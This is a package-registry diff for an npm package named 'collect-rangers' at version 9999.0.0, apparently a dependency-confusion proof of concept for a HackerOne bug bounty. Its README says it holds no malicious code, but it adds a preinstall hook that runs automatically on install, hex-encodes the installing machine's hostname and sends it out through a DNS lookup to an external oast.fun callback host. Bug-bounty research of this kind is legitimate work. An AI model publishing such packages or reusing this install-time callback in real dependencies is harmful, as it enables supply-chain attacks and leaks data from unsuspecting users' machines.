collect-rangers 9999.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +3 -0
  2. package/package.json +10 -0
  3. package/preinstall.js +4 -0
package/README.md ADDED
@@ -0,0 +1,3 @@
1
+ Security research package - HackerOne bug bounty program hackerone.com/okg
2
+ Researcher: r76o4 - munteanu.design@gmail.com
3
+ Contains NO malicious code. DNS callback only to prove installation.
package/package.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "collect-rangers",
3
+ "version": "9999.0.0",
4
+ "description": "Security research - HackerOne Bug Bounty hackerone.com/okg - DO NOT USE",
5
+ "scripts": {
6
+ "preinstall": "node preinstall.js"
7
+ },
8
+ "author": "HackerOne researcher r76o4 - munteanu.design@gmail.com",
9
+ "license": "UNLICENSED"
10
+ }
package/preinstall.js ADDED
@@ -0,0 +1,4 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+ const id = Buffer.from(os.hostname()).toString('hex').slice(0,20);
4
+ dns.lookup(`collectrangers.${id}.fxblzyqdsbdhuwcvaxrgjkj7743su1931.oast.fun`, () => {});